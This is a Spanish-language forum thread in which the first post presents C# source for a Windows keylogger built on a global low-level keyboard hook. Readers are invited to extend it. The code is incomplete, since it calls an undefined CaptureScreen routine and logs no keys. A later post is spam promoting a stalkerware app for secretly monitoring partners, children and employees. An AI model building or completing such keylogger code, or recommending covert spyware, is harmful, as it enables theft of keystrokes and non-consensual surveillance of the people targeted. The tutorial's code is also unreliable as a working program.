[ TUTORIAL guia]Crear Keylogger en Visual C#

Tema en 'Seguridad y Hacking' iniciado por Hydro Metal, 8 Nov 2010.

  1. Hydro Metal

    Hydro Metal Usuario Casual nvl. 2
    1/41

    Registrado:
    11 Oct 2010
    Mensajes:
    1.199
    Me Gusta recibidos:
    2
    Vamos a crear un hermoso keylogger en visual C#.

    Sin usar ingeniería, sólo crearemos un simple código; el diseño gráfico lo pueden hacer ustedes como más les guste.

    /*Éstos son los espacios de nombres*/

    using System;
    using System.Collections.Generic;
    using System.Text;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
    using System.Windows.Forms;
    using System.Drawing;

    /*Que comienze el juego!!!*/

    class KeyloggerParaPortalianos
    {

    /*Atributos (Recuerden que los nombre de las variables se pueden cambiar)*/

    private const int WH_KEYBOARD_LL = 13;
    private const int WM_KEYDOWN = 0x0100;
    private static LowLevelKeyboardProc _proc = HookCallback;
    private static IntPtr _hookID = IntPtr.Zero;

    /*corre dentro de Windows, así que los que tenemos linux podemos probarlo usando VirtualBox de Oracle (gratis)*/

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool UnhookWindowsHookEx(IntPtr hhk);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr GetModuleHandle(string lpModuleName);

    private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

    [STAThread]

    /*Entrada principal*/

    static void Main(string[] args)
    {

    Application.EnableVisualStyles();
    Application.SetCompatibleTextRenderingDefault(false);

    _hookID = SetHook(_proc);

    Application.Run();

    UnhookWindowsHookEx(_hookID);

    }

    /*Métodos*/

    private static IntPtr SetHook(LowLevelKeyboardProc proc)
    {
    using (Process curProcess = Process.GetCurrentProcess())
    using (ProcessModule curModule = curProcess.MainModule)
    {
    return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
    }
    }


    private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
    {
    if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
    {
    int vkCode = Marshal.ReadInt32(lParam);

    if ((Keys)vkCode == Keys.PrintScreen)
    {
    CaptureScreen();
    }
    //Console.WriteLine((Keys)vkCode);
    }
    return CallNextHookEx(_hookID, nCode, wParam, lParam);
    }

    Aquí ustedes tienen que jugar, investigar, perfeccionar y meter harta mano... saludos!!!

    http://img574.*************/img574/7136/pantallazol.png

    http://img571.*************/img571/6240/pantallazo1k.png

    http://img266.*************/img266/5660/pantallazo2z.png
     
  2. fuckbe4st

    fuckbe4st Usuario Habitual nvl.3 ★
    187/244

    Registrado:
    20 Oct 2009
    Mensajes:
    11.003
    Me Gusta recibidos:
    11
    Gracias man por el aporte ;D si tienes mas podrias ponerlos po :Y o si tienes alguna pagina de donde los sacas me mandarias un mp :Y vale en todo caso ;D
     
  3. bymaria

    bymaria Usuario Nuevo nvl. 1
    1/41

    Registrado:
    22 Mar 2013
    Mensajes:
    1
    Me Gusta recibidos:
    0
    los enlaces no los puedo ver ,ni menos buscar porfa si me ayudaras a completar eso :D muchas gracias
     
  4. NitH

    NitH Usuario Casual nvl. 2
    37/41

    Registrado:
    3 Dic 2011
    Mensajes:
    2.374
    Me Gusta recibidos:
    3
    ta bueno wn.. gracias ^^
     
  5. orenokaze

    orenokaze Usuario Nuevo nvl. 1
    16/41

    Registrado:
    15 Dic 2008
    Mensajes:
    463
    Me Gusta recibidos:
    0
    Cabro qlo, te caché ensuciando la fuerza y pasándote al lado oscuro :mad: acusao a tu eñora! xD
     
  6. heydue

    heydue Usuario Nuevo nvl. 1
    1/41

    Registrado:
    29 Jul 2013
    Mensajes:
    10
    Me Gusta recibidos:
    0
  7. cavoso

    cavoso Usuario Casual nvl. 2
    37/41

    Registrado:
    31 May 2008
    Mensajes:
    2.792
    Me Gusta recibidos:
    14
    se agradece vamos a probarlo xD, creo que esto va en otra seccion mmm.... ya lo movera Al2 si es asi
     
  8. Alisaa2

    Alisaa2 Usuario Nuevo nvl. 1
    1/41

    Registrado:
    9 Ago 2019
    Mensajes:
    1
    Me Gusta recibidos:
    0
    Keylogger is really helpful in the matters of personal issues and if you need to know what your workers, kids, and partners are doing behind your back. By using one you would be able to know whatsoever your workers are doing in the working hours, where your partners are and what your kids are doing at their social media profiles. You can try www.cocospy.com/blog/best-keylogger-for-android.html as it is one of the best available tools in the market. It has a very good keylogger that will give you every info of the targeted phone.